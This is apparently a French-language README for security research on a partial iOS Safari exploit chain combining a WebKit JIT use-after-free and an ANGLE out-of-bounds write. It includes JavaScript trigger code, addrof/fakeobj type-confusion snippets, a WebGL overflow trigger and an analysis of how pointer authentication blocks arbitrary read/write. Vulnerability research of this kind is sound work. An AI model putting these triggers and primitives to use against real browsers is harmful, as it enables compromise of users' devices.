
Analyse de la chaîne d'exploitation CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) - iOS Safari
Notes et matériel PoC pour une chaîne WebKit/ANGLE sur iOS 26.1. Il ne s'agit pas d'un exploit complet ; cela sépare les primitives vérifiées des éléments qui échouent encore.
Auteur : zeroxjf
Basé sur : l'exploit CVE-2025-43529 de jir4vv1t
Statut : Chaîne partielle ; R/W arbitraire non prouvé
Appareil de test : iPhone 11 Pro Max, iOS 26.1
Dernière mise à jour : janvier 2026
Le déclencheur de l'UAF CVE-2025-43529, la récupération du butterfly et les primitives addrof/fakeobj sont basés sur le travail de jir4vv1t. Mes ajouts sont l'implémentation OOB ANGLE, l'analyse axée sur PAC et la validation sous iOS 26.1.
Deux CVE WebKit divulguées ensemble et signalées par Apple comme étant exploitées dans la nature (in-the-wild).
| CVE | Composant | Type | Résumé |
|---|---|---|---|
| CVE-2025-43529 | JavaScriptCore | Use-After-Free | La barrière d'écriture manquante du JIT DFG amène le GC à libérer des objets vivants |
| CVE-2025-14174 | ANGLE (GPU) | Écriture hors limites | Le backend Metal utilise une hauteur incorrecte pour l'allocation du buffer de staging |
Le bug se situe dans le JIT DFG de JavaScriptCore, plus précisément dans la phase d'insertion de barrière de store (DFGStoreBarrierInsertionPhase.cpp).
Lorsqu'un nœud Phi s'échappe (escape) mais que ses entrées Upsilon ne sont pas marquées comme échappées, les stores ultérieurs manquent une barrière d'écriture. Cela permet au GC de libérer des objets qui sont toujours accessibles (reachable).
function triggerUAF(flag, k, allocCount) {
let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
arr[arr_index] = A; // A in old space
let a = new Date(1111);
a[0] = 1.1; // Creates butterfly for Date
// Force GC
for (let j = 0; j < allocCount; ++j) {
forGC.push(new ArrayBuffer(0x800000));
}
let b = { p0: 0x42424242, p1: 1.1 };
// Phi node - the bug
let f = b;
if (flag) f = 1.1;
A.p1 = f; // Phi escapes, but 'b' NOT marked as escaped
// Long loop = GC race window
for (let i = 0; i < 1e6; ++i) { /* ... */ }
b.p1 = a; // NO WRITE BARRIER - 'a' freed while still reachable
}
Le butterfly du Date libéré peut être récupéré par des tableaux de spray, créant une confusion de type :
// After reclaim:
boxed_arr[0] = obj; // Store object reference
addr = ftoi(unboxed_arr[0]); // Read as float64 = leaked address
unboxed_arr[0] = itof(addr); // Write address as float64
fake = boxed_arr[0]; // Read as object = fakeobj
Dans le backend Metal d'ANGLE (TextureMtl.cpp), l'allocation du buffer de staging utilise UNPACK_IMAGE_HEIGHT au lieu de la hauteur réelle de la texture lors de l'upload via PBO.
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // Small value
// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write: 256 * 256 * 4 = 256KB
// OOB: 240KB!
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
Sur arm64e (iPhone 11 Pro Max), les codes d'authentification de pointeurs (Pointer Authentication Codes) protègent les pointeurs JSC critiques :
| Pointeur | Protégé | Résultat |
|---|---|---|
m_vector de TypedArray | Oui | Impossible de falsifier un TypedArray avec un backing store arbitraire |
butterfly de JSArray | Oui | Impossible de falsifier un JSArray avec un butterfly arbitraire |
Lorsque j'essaie de créer un faux TypedArray/JSArray avec un pointeur de données arbitraire, la vérification PAC échoue et provoque un crash :
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)
La confusion de type fonctionne parce que les deux tableaux utilisent des pointeurs de butterfly légitimement signés — nous réinterprétons simplement la même mémoire. Les faux objets avec des pointeurs non signés arbitraires plantent lors du contrôle PAC.
addrof, fakeobj, fuites d'adresses, lecture/écriture de slot inline sur des objets connusread64/write64 arbitraires, chaîne d'évasion renderer→GPU, évasion du sandbox├── README.md # This file
├── poc/
│ └── chained_exploit_probe.html
└── analysis/
├── pac_analysis.md # Detailed PAC findings
└── crash_logs/ # Example crash reports
Le déclencheur CVE-2025-43529, la technique de récupération du butterfly et la construction de addrof/fakeobj sont basés sur jir4vv1t/CVE-2025-43529. Ce dépôt ajoute la validation iOS 26.1, les notes PAC et l'implémentation OOB ANGLE.
État actuel : utile pour reproduire la primitive JSC et le blocage PAC ; pas une chaîne d'exploitation complète.
| Primitive | Statut | Notes |
|---|
addrof(obj) | Fonctionnel | Vérifié dans le probe |
fakeobj(addr) | Fonctionnel | Vérifié sur des objets connus |
| Fuite d'adresses | Fonctionnelle | Plus de 20 adresses par exécution |
| Lecture/écriture de slot inline | Fonctionnelle | Vérifiée sur des slots inline connus (basés sur l'adresse de l'objet) |
read64(addr) | Non vérifié | Construit via l'astuce du slot inline, preuve échouée |
write64(addr) | Non vérifié | Construit via l'astuce du slot inline, preuve échouée |